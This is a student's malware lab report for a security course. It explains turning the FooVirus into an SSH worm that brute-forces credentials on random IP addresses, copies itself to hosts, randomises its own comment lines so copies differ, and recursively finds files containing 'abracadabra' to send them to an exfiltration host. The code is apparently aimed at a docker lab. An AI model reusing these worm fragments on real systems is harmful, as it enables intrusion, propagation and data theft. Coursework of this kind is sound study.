CSE 406

Computer Security Sessional

Malware Offline Assignment Report

Name: Md. Shahrukh Islam

Student ID: 1805098

Date: August 4, 2023

Task 1

Turn the FooVirus.py virus into a worm.

Solution Approach:

Firstly, the entire code of FooVirus.py was kept. Then networking code for sending the FooVirus into a machine.

```
24
25  Note that this is a safe virus (for educational purposes
26  only) since it does not carry a harmful payload.  All it
27  does is to print out this message and comment out the
28  code in .foo files.\n\n""")
29
30  IN = open(sys.argv[0], 'r')
31  virus = [line for (i,line) in enumerate(IN) if i < 210] #have to change this
32
33  for item in glob.glob("*.foo"):
34      IN = open(item, 'r')
35      all_of_it = IN.readlines()
36      IN.close()
```

New code is 209 line. So in line 31 it is mentioned. There is nothing change from the FooVirus.py.

For the part, to make this virus as a worm a networking codebase is introduced.

Here a same docker is attacked. So this code is returning same ip address each and every time.

```
110
111 def get_fresh_ipaddresses(how_many):
112     if debug: return ['172.17.0.3']
113                     # Provide one or more IP address that you
114                     # want `attacked' for debugging purposes.
115                     # The usrname and password you provided
116                     # in the previous two functions must
117                     # work on these hosts.
118     if how_many == 0: return 0
119     ipaddresses = []
120     for i in range(how_many):
121         first,second,third,fourth = map(lambda x: str(1 + random.randint(0,x)), [223,223,223,223])
122         ipaddresses.append( first + '.' + second + '.' + third + '.' + fourth )
123     return ipaddresses
124
```

Here loop for ip address is nested. Because many software can detect the attack if this ip is attack much in a very short period of time. So for a good interval ip address loop is inside most.

```
while True:
    usernames = get_new_usernames(NUSERNAMES)
    passwds =   get_new_passwds(NPASSWDS)
#    print("usernames: %s" % str(usernames))
#    print("passwords: %s" % str(passwds))
    # First loop over passwords
    for passwd in passwds:
        # Then loop over user names
        for user in usernames:
            # And, finally, loop over randomly chosen IP addresses
            for ip_address in get_fresh_ipaddresses(NHOSTS):
                print("\nTrying password %s for user %s at IP address: %s" % (passwd,user,ip_address))
                files_of_interest_at_target = []
                try:
```

An intelligent virus doesn't propagate if that system is already affected. So it is checked that if there is 1805098_1.py file inside that list or not. An upload mechanism is shown that's why continue statement is comment out.

```
                if b'1805098_1.py\n' in received_list:
                    print("\nThe target machine is already infected. \n")
                    #continue #i will show the upload also
```

Then a copy for this virus is sent to the victim docker.

```
                    #print("Target Machine is not affected\n")
                    #scpcon = scp.SCPClient(ssh.get_transport())
                    # Now deposit a copy of AbraWorm.py at the target host:
                    print('Before sending the copy')
                    scpcon.put(sys.argv[0])
                    scpcon.close()
                except:
                    continue
```

Finally uploaded a copy if we get a sign of our file. This happens when we attack second time and got our sign. Before the first attack all files were safe and that's why first attack can't upload it. In second attack in the same system, the upload system will work.

Task 2

Problem: Modify the code AbraWorm.py code so that no two copies of the worm are exactly the same in all of the infected hosts at any given time.

Solution Appraoch:

In the codebase of AbraWorm.py 10 new lines have been introduced. For example:

```
1   #!/usr/bin/env python
2
3
4
5   # code : 993
6   # code : 480
7   # code : 993
8   # code : 30
9
10  import sys
11  import os
12  import random
13  import paramiko
14  import scp
15  import select
16  import signal
17
18
19
```

The line 5-8 is added. And these are comment line. More 6 lines like these are also introduced in different sections of this code.

Then when reading this file if some line starts with “#code :” then after that a new random integer from 0 to 1000 is written. And the current code file is over-written.

```
153
154                 for line in f:
155                     if (line.startswith("# code :")):
156                         # line with # code : random number
157                         line= "# code : " + str(random.randint(0, 1000)) + "\n"
158
159                     commentsAndCode.append(line)
160
161                 f.close()
162
163                 #write to file
164                 f = open(__file__, "w")
165                 for i in range(len(commentsAndCode)):
166                     f.write(commentsAndCode[i])
167                 f.close()
168
169                 # Now deposit a copy of AbraWorm.py at the target host:
170                 scpcon.put(sys.argv[0])
171                 scpcon.close()
```

Thus we can get a new file that is different from previous one. Like this $1000^{10} = 10^{30}$ combination of this same file is possible.

Task 3

Problem: Extend the worm code so that it descends down the directory structure and examines the files at every level.

Solution Approach:

A recursive function to look each folder in the directory is introduced:

```
#Task 3 Starts
# Function to perform depth-first search (DFS) for finding files with "abracadabra"
def dfs_find_files(ssh, directory):
    files_of_interest = []
    cmd = f'grep -rl abracadabra {directory}'
    stdin, stdout, stderr = ssh.exec_command(cmd)
    error = stderr.readlines()
    if error:
        print(error)
        return files_of_interest
    received_list = list(map(lambda x: x.encode('utf-8'), stdout.readlines()))
    for item in received_list:
        files_of_interest.append(item.strip())
    if not os.path.isdir(directory):
        return files_of_interest
    for root, _, _ in os.walk(directory):
        if root != directory:
            files_in_dir = dfs_find_files(ssh, root)
            files_of_interest.extend(files_in_dir)
    return files_of_interest

```

The os.walk() function generates the file names in a directory tree by walking either top-down or bottom-up through the directory tree.

So in root variable we have all subdirectories also including the current directory. Current directory is already expaned. So if root is not directory then a recursive call is introduced. So the loop is intended to traverse all the directories in the target system to find files with the name “abracadabra” using dfs_find_files() function.

In files_of_interest_at_target the whole path of the all target files is kept. But in our local directory only the file has been stored. So we have to filter only the name of the file.

The function os.path.basename() is a built in function of os package. It takes the path and return the only file name.

```
                # secret IRC channel. (See Lecture 29 on IRC)
                if len(files_of_interest_at_target) > 0:
                    print("\nWill now try to exfiltrate the files")
                    try:
                        ssh = paramiko.SSHClient()
                        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
                        #  For exfiltration demo to work, you must provide an IP address and the login
                        #  credentials in the next statement:
                        ssh.connect('172.17.0.2',port=22,username='root',password='mypassword',timeout=5)
                        scpcon = scp.SCPClient(ssh.get_transport())
                        print("\n\nconnected to exhiltration host\n")


                        for filename in files_of_interest_at_target:
                            print('Inside the for loop of files')
                            filename = os.path.basename(filename.decode())  # Extract just the filename from the path
                            scpcon.put(filename)
                        scpcon.close()
                    except:
                        print("No uploading of exfiltrated files\n")
                        continue
    if debug: break
```

In the third task the code also changes in each and every run of the file and so sends different code each time. Also it recursively checks the files containing “abracadabra” key word and sends it to a specific ip address.